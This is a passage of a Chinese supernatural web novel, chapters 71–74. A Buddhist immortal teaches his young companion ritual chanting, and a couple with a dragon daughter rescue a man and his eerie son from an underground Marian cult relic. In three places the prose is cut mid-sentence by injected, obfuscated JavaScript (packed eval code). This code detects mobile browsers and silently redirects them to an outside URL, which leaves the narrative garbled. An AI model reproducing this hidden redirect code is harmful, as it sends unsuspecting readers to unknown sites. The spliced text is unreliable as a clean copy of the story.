有郎放的先天天赋帮助,他们二人走入密阵阵中的过程相当顺利,散步一般轻松,只是心理紧张。下沉坡道斜斜地插入地下,还不如走楼梯呢,下坡真让人膝盖痛苦。一路上二人都隐约听见回荡的诵经声,几种语言交替,中文、英文、拉丁文,甚至还听见方言,毕竟这是S省教区。 不知行进多久,他们终于见到罗爱曜所说的“地脉圣母”遗骸,也终于明白残碑是从哪儿而来了。蒋良霖和郎放想来见庄晓,庄晓却对他们完全无所谓。庄晓已深深地为“复活”这回事着迷。 71.旧日幸存者篇(二十三) 施霜景坐上罗爱曜的车,现在他走到哪儿都背着书包,因为里面装着罗爱曜给他的法器,能让他心安。罗爱曜的目光则是几次停留在施霜景项上的祭蓝色珠串上,越看越不顺眼,像是看废品的眼神。 他们一路开往升仙湖,罗爱曜撂车门的动静简直震天响,施霜景发出疑问:“佛子,你今天心情不好吗?” “这你不用管。跟我来。” 罗爱曜步亦步,施霜景趋亦趋,很快二人就来到人工湖边。这时罗爱曜往水中一指,对施霜景道:“下去,进水里。” “现在?为什么??”施霜景一个头上顶三个问号。 可罗爱曜哪会回答他为什么,罗爱曜只是抱着手臂在岸上等,大有一副如果施霜景不下去他就把他踹下去的姿态。施霜景面上不动,心里暗自崩溃,俯身弯腰,准备脱鞋,罗爱曜又说:“你就这么进去。” “鞋子会湿。”这不是显而易见的事么?如果不是天气太冷,施霜景甚至愿意脱了长裤再进去。 “让你做你就做,为什么问题这么多?” 施霜景拗不过罗爱曜,紧了紧书包,叹气一声,只好踩着松软的岸边泥地,顺着罗爱曜刚才手指的方向往湖心去。施霜景低着头观察水面,鞋子踩着水了,感觉脚底一凉,但还没有进水,施霜景提气,谨慎地迈步,走了几步却发现好像脚底与脚踝不如他想象中那样冰凉,他狐疑地抬了抬脚,发现根本没湿。施霜景回身看向罗爱曜,罗爱曜绷着脸色,示意他快往前走。 这人工湖的深度不可小觑,施霜景是揣着担心往里走的。大约水没过膝盖的时候,施霜景却踢到了什么,那一下并不痛,只是感觉浑身一震。郎朗白日下,湖水清澈,但湖下水草杂物众多,所以视线还是有遮挡。施霜景伸手进水中摩挲,摸到沉手之物,捧起来,发现是两只手掌合并大小的古钟。 施霜景举起手里的钟,无声询问罗爱曜,是不是这个?罗爱曜点头,让他回来。 “上次你说你总是梦见升仙湖,在湖边绕圈,是因为它。” 甫一上岸,罗爱曜就给了答案。施霜景双手捧着微缩的梵钟,完全是不明所以。罗爱曜继续道:“我常用这钟做警示,且它钟声响起时,自带遏制、困厄的效用,所有有时我也会拿它来捕‘兽’。我埋它在这里原本是为了防止那沙漏装置再次出现,没想到你却总是被它勾进梦里。这不是第一次了,你对我的法器有感应,我的法器还会自动找上你。焰口法会施食恶鬼那时,你得到一枚金刚杵,但那不是我给你的,而是它离开我宝库、自动找上你的。更早之前你对我的佛像也并无禁忌,还记得我去你家吓你的第一晚么?我的兽首梵轮原本应该把你剥皮去骨,可它也只是咬了你一口就停下了。” 听完这些,施霜景身上一阵寒又一阵热的,怎么,你还想让我夸你吗?这不摆明了是罗爱曜一开始真想杀他么!可看罗爱曜现在坦然承认的样子,施霜景都不知道是该生气还是该感恩好,只能问:“你到底想说什么,佛子?” “总得教你一些防身法,不好再让昨天的事发生第二次了。”罗爱曜顿了顿,施霜景这是有点生气吗,氛围不对,语气放缓,“如今我的因果与你的因果绞缠在一起,你要是在我涅槃之前就死了,事情会有些麻烦。” “你真的要教我?教什么?”施霜景还没来得及多消沉,一听到罗爱曜要教他一些很酷的东西,施霜景又来劲了。 “我刚才说的不够清楚?教你防身的方法。我们先回酒店。” “我以为你还要去地图上其他标注的点看看呢。” “这不很明显么?”罗爱曜非常轻松地说道,“蒋良霖给的地图精度很高,郎放感应到的地方,五公里内一定有大片水域,你对照现在的场景,很容易就能想到沙漏装置与水有关。单从形态来看,沙漏这一形态几乎就是水面倒影,如果只看一半,那就是近乎三角的装置。我们要找也得找这样的装置,之前庄晓提过,他知道这装置从何而来、用处是什么。” “那装置是什么?用处是什么?”施霜景双手捧着梵钟,又是跟在罗爱曜身后。这人怎么搞的,尽当谜语人了。 “找到之后拆给你看,有实物比照着讲会清晰些。现在我只能告诉你,它是类似星槎的产物。”罗爱曜边走边用手比出一个三角,展示给施霜景看,“星槎就是你们现代人说的飞船。但依照我非常短暂的印象,我认为这艘星槎存在于这片土地的时间相当长了,至少长于我存在的时间。这和庄晓提供的信息也对得上。” 这是罗爱曜第一次用“你们现代人”这个说法来区分他和施霜景。施霜景听得新鲜无比。刚才罗爱曜都没把这个情报告诉蒋良霖,却比划着先告诉了施霜景。施霜景现在有点同意罗爱曜之前的说法了——施霜景和罗爱曜是一边的。他们是同盟! 罗爱曜又读到施霜景这一想法。怎么说好呢,罗爱曜倒是觉得与施霜景在一起还算省心。这小孩的情绪反应都很当下、即时,只要转移他注意力,他很快就不想之前的情绪了,不知是不是被生活打磨的,没空陷入负面情绪,更喜欢立刻反应和行动。 罗爱曜当然对蒋良霖他们有所保留。罗爱曜甚至认为蒋良霖也有一部分答案,只是没有与他互通。蒋良霖不提,那他干嘛要提?罗爱曜已经够好心了,让他们有机会去直面庄晓。罗爱曜不想那么轻松就成全蒋良霖。这一路罗爱曜所作的苦工实在是荒唐,罗爱曜看不得蒋良霖在家坐享其成。 回到酒店,玉米的食盆空空如也,就连残渣都舔干净了。施霜景检查玉米的猫砂,给他铲掉排泄物之后,施霜景给玉米放进猫包里,再开了个罐头给他,意思是让他再猫包里多待会儿,吃吃罐头睡睡觉,不要出来。 罗爱曜要教些真正酷炫的东西! 施霜景将他现有的佛子法器都摆在桌上。脖子上的青金石佛珠,金刚杵,佛子金像,还有刚才拿到的梵钟。如果施霜景身上的佛子诫文也算的话,那就是五样,可惜那是描在他皮肤上的,取不下来。 浴室洗手的声音停止,罗爱曜这就算是做了简单的浴佛偈,“灌掌去垢心无染”。净了心出来,罗爱曜执起自己赠与施霜景的佛珠,手做佛眼印,立于胸前,佛珠一粒一粒经罗爱曜点过。 施霜景大气不敢出。这真是他第一次在罗爱曜脸上看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497979|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近似“虔诚”的情绪。这不是说佛子从前不专业,如果罗爱曜都不专业,那佛门就完了。可罗爱曜从前行他的佛事如吃饭喝水呼吸一般自然随意,今天终于是看到一回佛子像佛。 再一眨眼,桌上的法器已尽数消失。施霜景黯然了一下,这是回收了? 点完一百零八颗佛珠,罗爱曜将珠串递给施霜景,让他别慌着戴上,先执在手中,“接下来我要教你怎么用它。我刚才自问宝库,谁愿意进玄珠作你护卫,响应的法器就入玄珠来,当出借给你。一共一百零八样,你不必样样学会,大部分会根据情形自动响应。法器多是仪式用具,也就是说,它们不是用来给你当锤头斧子的,它们有更精巧的用法。” 罗爱曜一下子对施霜景这么好,施霜景突然好不习惯。一百零八样是什么概念?这一串珠子里有一百零八个法器?十八个都嫌多了!施霜景再掂了掂手上的佛珠,重量完全没变,只不过颜色从之前有如罗爱曜眼瞳的蓝色变成了玄黑色。 “我现在教你闻持这最简单的陀罗尼。记住,不要用你的耳朵听,也不要用你的脑袋记。此陀罗尼是觉知与心知的真言密咒,是召请佛子罗爱曜的最直接诵咒法。法器是我现身的前奏。法器显现,我就可以耳目顿开、破障无碍。” 罗爱曜双手掌着施霜景的脑袋,要他板板正正地听自己说话。这一刻罗爱曜无比认真。施霜景与罗爱曜对视,心也立刻静了下来,罗爱曜眼里的蓝仿佛缓缓扩散,余光所望见的周遭一切都染上了这样凄冷的蓝,但这凄冷中又有一种温腻如肤的暖调,后来施霜景才知道那是唐卡的显现。 这召请罗爱曜的诵咒法以梵语为基础。严格来讲,罗爱曜的母语其实为梵语,或是更原初的天人之语。往后学习的一切语言都是以梵文密言为基础,这是罗爱曜看待世界的方式。罗爱曜教,施霜景学,这是一句非常短的密咒。如罗爱曜所言,施霜景如果按罗爱曜的发音或是句式去学,那这一句够他学一辈子,毕竟许多僧人也就是学一句密教真言就学了一辈子。要觉知、心知。这是什么意思?其实施霜景也不知道。 施霜景完全就是被罗爱曜那双眼睛所迷惑了。这辈子第一次如此心静,下沉至某种空门。每个人体悟密咒的方式不同,即衍生出独一无二的密咒版本。罗爱曜教一遍、两遍、三遍……前所未有的耐心,他等施霜景发展出他的密咒。罗爱曜甚至做好了打持久战的准备,施霜景并不是个聪明孩子。 可很快,罗爱曜发现施霜景的忆持非常迅速。虽然他所诵的密咒版本非常粗糙,可这种粗糙质地中又有一种堪称脊梁般严肃的力量。说是学习召请佛子,可在施霜景一遍又一遍练习的诵念中,某种更久远却又坚定的势在聚集,尽管非常非常微弱。施霜景所复现的陀罗尼中有许多施霜景特有的内容,而正是这些无法辨明的内容,使罗爱曜虽无解,却心中如有解一般畅快。 施霜景是一个崭新的灵魂,他没有前世,此为第一世。这是罗爱曜第一次见到施霜景时就确认的事实。罗爱曜虽不明白为什么他的法器都愿意给施霜景好脸色看,但他不得不承认,有时他都愿意给施霜景好脸色看,遑论他的法器呢? 72.旧日幸存者篇(二十四) *因为衪垂顾了衪婢女的卑微,今后万世万代都要称我有福;因全能者在我身上行了大事,衪的名字是圣的,衪的仁慈世世代代于无穷世,赐于敬畏衪的人。 ——路加福音 1:48-50/《玫瑰经》荣福五端 一直念,一直诵,直读到声音、语言乃至知觉全都破除了边界,融散成了黯且淡、但隐隐透出莹莹辉光的某种境界。这是十分超然的一刻。不知过去了多久,罗爱曜松开手,说施霜景已经学会了。 “我学会了?我——我学会了?我复述不出来啊。”施霜景将佛珠再次不伦不类地套在脖子上,从前蓝色佛珠是太突兀了,一眼就让人觉得是不懂事的人错戴了它,玄黑色就要好些。 “到时候再说。”罗爱曜道。 感觉好神奇哦。施霜景下意识地点着项上佛珠的颗数,他从前看《西游记》动画片,孙悟空都没有这么多法宝。就算真让他来用,他也没什么好办法,从认识罗爱曜到现在几次冒险,不论大小,要么仅凭蛮力通关,要么是真的洒了一腔热血,血溅七尺。如果施霜景没有理解错,罗爱曜给他这么多法器也只是为了召唤罗爱曜到场,并在这个时间差内提供暂时的帮助。啊这。施霜景稍微觉得有点可惜,既是为自己,又是为罗爱曜这些法器。 于是施霜景想了想,问道:“平时我不能使用这些法器吗?”其实他想说的是,他也好想练一练。不然他白叫“一剑霜寒”这个微信名称了啊。施霜景这人看起来有点迟钝,可说不定他有这方面才能呢! “你觉得我是借给你玩的吗?” “不是,肯定不是。” “那你要怎么‘使用’?这是我的法器,只有我才能使用它们。” 罗爱曜算是从元旦节报复事件里稍稍解放了,心情不错,仪式已经结束,他主动去开玉米的猫包,抄起玉米放在手里把玩。玉米被罗爱曜搓圆捏扁,特别无辜无奈又可爱的一坨。 “是因为你还没涅槃离开,所以只有你才能使用?” “不是。不论我是不是涅槃,使用法器的人都只是我。信徒或是大寺供奉法器,是知道法器作为我在现世的耳目,大概是比我的报身更低一阶,他们寻求我的力量,而我的力量通过法器显现,本质还是我在使用法器。” 明白了。看来这些法器只有单一的操作权限,远程也可操作。 这样不好吧,看起来还是像在占罗爱曜的便宜。施霜景觉得罗爱曜说不出来的怪,好像知道什么,但又知道得不完全,所以没向施霜景解释清楚,比如那些梦,比如他的法器为什么会对施霜景网开一面。 罗爱曜摸猫摸够了,心中那最后一点矛盾交战的铿锵也止息了,他答应要教施霜景如何精巧地对待这些法器,虽不能用,但确实有别的对待方式。罗爱曜说:“一些法器或许会主动找上你。你要是有闲或是乐意的话,可以陪它们玩玩。” “这真相说给你听也无所谓。我这些法器俱是像捡垃圾一样捡回来的。”罗爱曜这样说着,自己都觉得“捡垃圾”这说法好笑,“我被称作‘佛子’,是因为我主要可以完成以下几种工作。首先是我过去能与佛交流,佛国众生教诲,我悉数听闻,我之体悟,众佛也可同悟,况且我在燃灯佛处有名姓,是为正典。再来我语言能力极强,法性殊妙,在能与天人和佛陀交流的前提下,我修撰翻译经书,留下正确版本的经书以及有效的仪轨、咒法。正确的经书必然是记载了正确的仪轨,也便是通往修行或是圆满的正确道路。现在当然这些复本又失传了,即便我的藏经阁里还有原本留存,可以复现的人除我之外已是基本没有了。我过去为了验证这些仪轨是否有效,法身总是会去往各层天,可蹊跷的是我到访之处,诸护法、天神、菩萨、金刚已基本全部消失,人去楼空,只留下这些东西给我,数量从未清点过,大到地界基石,小到舍利珠子,这些都算是法器,我就全收下了。地狱还好,地狱可能要热闹些,可总归已无佛事。不算我现世的这几个月,我肉身活动拢共二十九年,可以理解为活了二十九岁。李适于岐山无忧王寺迎佛骨那年,我自愿进山,悟法失败,转眼千年。” 不可思议地,施霜景听懂大半。罗爱曜说的是他天赋特殊,只是随着世道发展,人去楼空,甚至可能只剩他一人了,这下才去闭关。闭关失败,闭关前是二十九岁,那现在……三十岁? 总感觉现在的氛围叫施霜景不好开口。施霜景的嘴笨死了。 他选择打字。 一剑霜寒:说不定你没有失败呢?失败的话你还会这么厉害吗? 一剑霜寒:时机是很重要的 一剑霜寒:唐朝不行 一剑霜寒:可能二十九岁也不行,就是要你等到三十岁 一剑霜寒:法器要找我的话,能不能不要晚上做梦的时候来?我晚上一做梦就跟一宿没睡觉似的 一剑霜寒:[抱抱][抱抱][抱抱][抱抱][抱抱] 罗爱曜:“……” 罗爱曜:“你到底什么毛病?打字那么快,嘴巴一句话都说不出来?你不接话显得我像是自怨自艾一样。” 施霜景:“你应该就是在……?” 罗爱曜:“这只是迟来的自我介绍。” 施霜景:“……这真挺迟的。” 罗爱曜:“你还是继续用微信吧。” 佛珠一百零八颗,玫瑰念珠五十九颗。此方施以护卫,彼方圣母显现。 郎放和蒋良霖出现在圣母领报修院的二十世纪初时间线,据说罗爱曜就将庄晓关在了这一时空的地底。 二人找到庄晓,只见在巨大的地下洞穴中央,伫立着一枚顶天立地的镂空石卵。在看清地穴与石卵构造之前,某种强烈的厌恶感就已不自然地游走在蒋良霖和郎放的全身。除了他们来时的这一通道,空旷的地穴并没有别的出入口,可腥臭的风在地穴内盘旋呼啸,撞击着岩壁,像一只只鸟自杀后羽毛与腥血乱洒的无助与疯狂。岩壁上镶嵌火把座,可惜并无照明,郎放从书包里取出大功率手电,这样一束幽光在黑暗中乱晃反而更加恐怖,生怕猝不及防照见什么不该照到的东西。 他们起初以为这是到了一个巨大的中转洞穴,以为石卵是椭圆形的、自然形成的石柱。直到他们绕圈走着,用手电筒打光照完整片洞穴,二人才确认这就是地穴中心的奇异之物。 可能是因为这一地界已在佛子金刚轮密阵的笼罩之下,已经加诸某种抗性,蒋良霖和郎放很快就适应了此地诡谲癫狂的氛围。他们总是隐约听见咕咚咕咚的泡泡声,某种液体的声音。蒋良霖叩了叩石卵,手背传来疼痛的感觉,可听回响会觉得石卵壁非常薄,触之即破的质感。 郎放试着喊了一声:“庄晓,你在吗?我们是佛子的朋友。” 无人应答。只有某种闷沉而湿润的声音。 郎放的阴阳眼看不破这石卵里的东西,又不可以让小龙现身,看见不该看的。蒋良霖的心怦怦跳,他不知道是该与庄晓讲理还是不该。罗爱曜明明已经搞懂了庄晓身上的大部分事,却又不乐意讲,非要他们也来拜访一趟,唉,这人的可合作性实在太差。下次真不一起干事了。 郎放打了个手势,让蒋良霖接下来都是多听、少说,主要的对话由郎放负责。他仔细考虑过了,尽管他说话非常言简意赅,可有时候话少比话多更好。 待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504373|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打探过整个巨大地穴的环境之后,郎放与蒋良霖靠近石卵坐下。郎放自我介绍,也替蒋良霖自我介绍,重点讲明他们的来意——他们想知道为什么他们会受那沙漏装置的精神影响如此之深,为什么元旦节会有人对蒋念琅意图报复,为什么他们会被牵扯进庄晓的因果中。 二人等了很久很久,直等到小龙都不耐烦了。这种古怪氛围影响她休息,使她根本无法入眠。郎放按住她,让她绝对不可以出来。郎放谨记罗爱曜的提醒,不可以在庄晓面前上演一家三口团团圆圆的戏码。能与如此邪恶无常诞下后代的人,精神状态可见一斑。 等到某一时刻,空气中不再回响气泡的咕嘟声,再次传出的声音更加令人不安——是某种非常坚硬的啃噬声,听了令人牙酸,更令人天灵盖发凉。郎放和蒋良霖腾地站起来,急忙确认周围是否出现危险生物,好在这一地穴呈现着反常的安全。 蒋良霖的手电随意地往洞穴顶端一扫,忽的发现石卵开始破裂了。啃噬声从顶端传来,咯吱咯吱,却什么都看不见。石屑掉落下来。随着时间推进,石卵被蚕食了十分之一、八分之一、六分之一……蒋良霖再次小心翼翼地绕石卵一周,忽然发现靠近他腰侧的石卵有残缺。蒋良霖用手电照进去,忽然一张人脸出现在残缺处,庄晓尖叫道:“不要打扰我们!如果失败,我要杀了你们……不论你们去哪里我都会杀了你们。” 郎放一把夺过蒋良霖的手电,关掉。蒋良霖双手举高,像是被警察用枪指着似的。天哪,庄晓气性这么大的? 随着石卵体积的减小,当石卵仅剩三分之一时,卵壁破碎的趋势变大,有大片石块往内或是往外掉落。郎放和蒋良霖逐渐见到庄晓的手、头、上身,也见到了石卵内侧的情况。 石卵内刻着笔迹十分生疏的玫瑰经经文,原来佛子提到的残碑就是从石卵上凿下来的。除此之外,二人还隐约看见石卵内有一具枯绿色的不明物,其身上连接着许多薄膜或细管状的生物组织,与石卵内部凿刻的玫瑰经相连。连接着石卵壁的组织随着石卵的消失而逐渐减少。除此之外,二人还看见了白色的东西,像骨头。 庄晓的身上也粘连着枯绿色的生物组织,除了一条裤子之外,他赤裸着身体其他部位,前胸、大臂的皮肤组织呈现出烧伤熔化的迹象。石卵还在继续被蚕食,速度愈来愈快。 石卵还剩最后一点底座时,庄晓停下了动作。他背过身去,跪坐在高约两米五的枯绿色静止组织前,嘴里极快地念诵着什么,发出的声音越来越大,最后竟在地穴中回响出了百人、千人的效果。不知从何时起,神经质的低语转为了某种极为哀伤的低泣。这所有的动静都让旁观者很难受,不仅是精神上的,更是心理上的。 “好了。好了。完成了。地脉圣母的经与血肉是至圣的。感恩。我从此刻起会感恩。我颂圣母的名与圣迹,我的子也是您的子。圣母仁慈因此我的子将永远从您身上学习这一他本不配有的高贵品德……” 郎放一直观察着庄晓,他已经从庄晓身后悄悄挪至庄晓的侧身。他看见庄晓与地脉圣母遗骸之间相连着一个一米多高的□□组织,像人类与已死的邪灵一同孕育着全新的邪恶。庄晓的状态已经非常非常差了,看上去随时都要栽倒进那□□组织中。郎放一直观察,终于,他忽然捕捉到庄晓的一个眼神。 郎放当即翻上石卵的底座,一把小臂长的银刀劈开庄晓与那□□组织的接连处。蒋良霖搭手将庄晓抱了下来,这人的前胸已是血肉模糊,连跳动的心脏都若隐若现,显然是要活不成了。 郎放思忖再三,隔着衣服拍了拍蒋念琅。 “小鼓,能不能出来帮这个叔叔一个忙?” 73.旧日幸存者篇(二十五) *你们为什么在死人中找活人呢?他不在这里了,他已复活了。 ——路加福音24:5/《玫瑰经》荣福一端 庄晓仰躺在冰冷石地上,在寒冷的刺激下,他咳嗽得更厉害,剧烈起伏的烧伤皮肤下,跳动的心脏若隐若现,肺部翕张,胸腔开合,血不是最令人不安的材料,这些坚硬突兀到嶙峋地步的框架般的骨骼才是。人死了就只剩下骨头,眼前正是活人化骨的残忍。 地穴中阴毒却悲怆的氛围感染了蒋念琅,她明明记得妈妈让她老实待着,不许出来,这时妈妈却在拜托她。那她就勉为其难出来看看好了。 也正是在养育蒋念琅的过程中,更有人类自觉的蒋良霖不得不承认,蒋念琅身上有某种更为原始、野性的东西,以至于蒋念琅如此年轻就如此大胆,好像人类的世界对她来说只是一本合上的童话书,她翻开来,跳到哪页就掐出童声演哪页,演腻了就换故事、换书。清丽幻美的事物她喜欢,血腥野蛮的事物她也喜欢。更确切地说,可能就是“不怕”二字。有时甚至分不清是因为她不是人类所以不怕,还是小孩原本就对这个世界不怕。所以即便是一家三口的结构,父母看起来总是站得更高,可力所不能及的事太多了,往往就对蒋念琅用“请”字,请她帮忙。鬼子母神时请她去岩缝底部打捞尸体,如今又要让她直面正在死亡的庄晓。 可蒋念琅确实不怕。她探出龙头,小龙形态的她更有羽蛇的质感。人们总是夸耀龙鳞、龙骨、龙牙的,可他们不知道像这样一条真龙,小时候刚出生还有龙羽,长在龙角根、身侧、腹下以及尾部,如今也未脱去。蒋念琅先升空观察了一阵,然后降落到庄晓伤患最重处,其实是他整个腹腔的位置。蒋念琅的治疗流光溢彩,其科学原理至今不明,但确实有效。 细龙掠过,伤口慢慢长好,但蒋念琅的治疗其实是瞬发,这就说明有股毁灭□□的力量正在暗自抗衡。蒋念琅有时用龙爪刨庄晓的伤口,有时低头嗅闻。 这处在治疗,石卵处发出更响亮的气泡咕嘟声。那枯绿色的“地脉圣母”不知是死是活,也可能是在生气,恨庄晓把他那怨毒的孩子丢给它。从庄晓身上剥离出的肉块蠕动、呼吸。再到后来,肉块破溃,时不时榨出腥臭的汁液,但肉块体积并未缩小,反倒是远观就能感到这肉块更密实、更强壮了。 庄晓意识模糊间试图推开在他身上游走的龙,蒋良霖担心他是想抓住蒋念琅,就压住了他的双臂,不让他动。 僵持着,僵持着,忽然间那肉块裂为五瓣,已死的地脉圣母忽然引颈尖叫,这一动静简直像末日来了,是活生生往蒋良霖、郎放甚至庄晓的脑袋里灌五百斤岩浆再灌五百斤水银,又烫又毒,那种蒸汽带走一切生命的恐怖。地穴空间未动,可众人都感觉地穴仿佛要塌陷了。大脑因剧烈的恐惧和被唤起的幻觉而麻痹,蒋良霖和郎放一时间都能看到自己最痛苦的回忆了。 庄晓泪流满面,癫痫般抽搐,蒋念琅是在场唯一没有受影响的生物,她果决地甩尾,弥散的龙气兴许能隔绝一些影响。可她很快感受到了某种猎食者的视线,这让她非常不舒服。但猎食者与猎食者之间也有差别。在滑冰场时,她能感觉到猎食者就连转眼珠的润滑都是亿万年的地下水。在这里,猎食者的眼珠润滑是母亲的羊水。她很年轻。它也是。 地脉圣母半倚半撑着石壁,它大约就是在这段历史的定格时间中为祂所吞食。它原本寄居在圣母像中与众教徒相聚甚欢,它是那类好心的“原住民”,只带来混乱,但伤害性不强。那些本土的灵与神依附着历史的人物,得到第二次正典记载的神之生命。它错过了,但也能等到远渡重洋的宣教活动。圣母,圣母,它喜欢的。教徒们为它贴蓝衣、戴金冠,巨大的石卵经文正是教徒们执起刻刀、洋洋洒洒的信仰,这些信仰使它更加强大。直到祂来的那一刻,那时已有了达尔文的理论,什么进化,物竞天择。庄晓的出现,其实更是消耗它,谁说这不是同样的吞食呢?因为庄晓的孩子也是祂的孩子。地脉圣母仿佛被同一种狠毒的存在杀死了两次,格外愤怒,它自己所造出的漫长等死的时空里,竟然还要被祂闯进来。 忽然一阵清风拂面,地脉圣母的尖啸戛然而止。蒋念琅的巨大龙身缓缓地盘踞在石卵底侧,她趁父母都还受到精神攻击的时候,泛滥了自己的好奇心,却无意间给了地脉圣母一个解脱。龙息喷洒在枯绿色人形身上,已死的地脉圣母忽然褪为异香的清水,从石卵中冲出。 水流不止,但清泉洗涮了正陷入谵妄的人们。蒋良霖率先清醒过来,心里暗道不好。他二十五六岁时因蒋家的事故与郎放走过太多这样的地宫,称不上半个盗墓贼,但也算是半个探险达人了。他知道在地下的时候,水比土还恐怖。 没办法,蒋良霖检查庄晓的伤,胸前似乎好了多半。为了效率,蒋良霖只能背着庄晓。郎放颤巍着唤回蒋念琅,这龙女可大可小的,老实盘在郎放的腹肌上,一阵冰凉。这时,郎放看见石卵上影影绰绰站立一个人形,不知为何看到他就起鸡皮疙瘩,郎放只好虚起双眼,冲上去,摸到那冰凉的身体,郎放急忙脱下自己的外套裹在男孩身上,欲要背他,可男孩死活不肯,只好拽着他走。 四人往外逃,幸好佛子的密阵似乎有所感应,他们往外逃出一寸,密阵便利落地封门,总算是为他们创造出条件,顺利离开地下。 他们回到圣母院时,险些被二次垮塌的圣母院压死。好险是蒋良霖的龙身撑了一下。四人解除密阵,回到现实的圣母领报修院,真是差一点就撞见工作人员了。 龙女悄悄地钻到了蒋良霖的衣服里,不愿意与郎放新牵的男孩共处。他们从来时的后山潜出,郎放几步一低头,他拽着男孩的手,男孩的手却很无力地垂着,郎放又问一次要不要背他,这时男孩才点头。 元旦时分,所有人都还陷在节日的慵懒中 。蒋良霖和郎放颇有种越努力越不幸的感觉,莫名其妙救了人,也不知道该不该就让他们死在地脉圣母地穴里,这样说不定更好。只不过男孩看起来年纪和蒋念琅一般大,也就是六岁左右。一想到庄晓其实和他们也差不多年龄却遭遇了这些,两人还是难免动恻隐之心,反正佛子也有意愿让他们帮一把的样子。 把庄晓和男孩放进车里,蒋良霖没有一股脑就将车开回D市,反而是开进最近的小城,找了家旅馆,把两人扶进去。郎放打车去商场给两人买换洗衣物,蒋良霖和蒋念琅两条龙在酒店里镇住他们。 蒋念琅是妙手神医龙女,庄晓经她帮忙之后,只是像生病,体温和状态都还算正常,但这男孩实在让人太不安了。男孩长着黑头发黑眼睛,轮廓半欧半亚,这张精致的脸却给人以无限的疏离感。蒋良霖特意找了家有浴缸的酒店,也不管浴缸干不干净,再不干净又能不干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504374|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净到哪儿去,他放了一缸子热水,让男孩进去泡,就好像这样能让男孩的体温上去一些似的。 男孩倒也不反抗,蒋良霖怎么说就怎么做了。这酒店的浴室玻璃是透明的,正好又能让外边的人看见浴室里发生了什么事。蒋念琅可不能看小男生的裸体,可这氛围实在憋闷,她就只能在爸身上盘来盘去,游蛇一样。幸好郎放没忘记给自己的女儿也买衣服,这回蒋念琅也可以回到人形,能和爸爸妈妈说说话了。 “他不会在浴缸里淹死吧?”蒋念琅时不时望向浴缸,蒋良霖的手就放在蒋念琅脸侧,准备随时挡她眼睛。 “不会的。庄晓,吃点东西吗?” 郎放打包了粥和小笼蒸包,街上开门的店实在不多,这个点已经是快要吃晚饭了,有的也只是火锅或是炒菜馆子。 庄晓在酒店白被单里发抖,但自从他醒来之后,他就一直盯着浴室方向,看着那个孩子。从庄晓嘴里,郎放一行人知道了男孩的名字,庄理安,既理又安,像是某种对精神状态的祝愿。 眼看着水都要泡凉了,蒋良霖进浴室帮男孩擦身、换衣、吹头发。他还牢记着佛子的叮嘱,不要表现出他们一家三口的温情,不要刺激庄晓。庄晓是疯子,他儿子庄理安不是人。庄家父子一发疯,他们一家三个人够呛能按住。 郎放怕庄晓握不住筷子,就用塑料袋裹了小个的蒸包,递到庄晓面前。庄晓看了看,呆滞地接下,行动缓慢如灵魂出窍,但最后好歹是咬了第一口。郎放看庄晓愿意动了,就扶他起来,靠坐在床头。此时罗爱曜的视频电话正巧打进来,郎放接起,罗爱曜说:“我知道你们已经接到人了,不回来?” “可以带他回F酒店?”郎放反问。 “回F酒店最好,毕竟是我所在的地方。让我看看庄晓他儿子。” 蒋良霖牵着庄理安出来,郎放转了手机过去。 在罗爱曜的手机里,他所看见的庄理安只是一团人形的混沌,就连影子这个比喻都显得太过清澈。罗爱曜还挺满意地“嗯”了一声,说:“会好的。这回你们辛苦了。庄晓呢?” “他还在休息。” “我会建议你们不要在外过夜。现在开车回来还来得及。” “知道了。” 罗爱曜那边先挂断电话。蒋良霖知道罗爱曜这是什么语气,这是视察工作的语气,“老……呃,郎放,我最后再问你一遍,罗爱曜真的值得我们这么给好脸色吗?真这么强?” 郎放两手一摊,“他真的强。” 蒋良霖抬抬眉毛,不多说了,只把庄理安送到床头,也就是庄晓的身边。 起初庄晓很犹豫的样子,放下手里的食物,手不知道往哪儿放。郎放给庄理安买了一套颜色鲜亮的童装,上身米色下身绿色,外套则是柠檬黄,用这种春天的颜色来给孩子增加点人气。庄理安望向庄晓的眼神很直接但也很冷漠,不是情感上的冷漠,是本质的冷漠。这有些吓到庄晓。中间的沉默与阻滞持续了好久好久,没人催,但空气里有一种焦急的成分。最后是庄理安先摸了摸庄晓放在床单上的手。泡过热水澡的男孩似乎从水里汲取了一些暖意,手不再那么冰冷。男孩摸了摸庄晓的手,然后又将手收回身侧。他什么都不理解。他什么都不认识。直到庄晓给他一个拥抱。 从它到祂再到他,庄晓人生停滞的八年在此刻划上句号。 74.旧日幸存者篇(二十六) 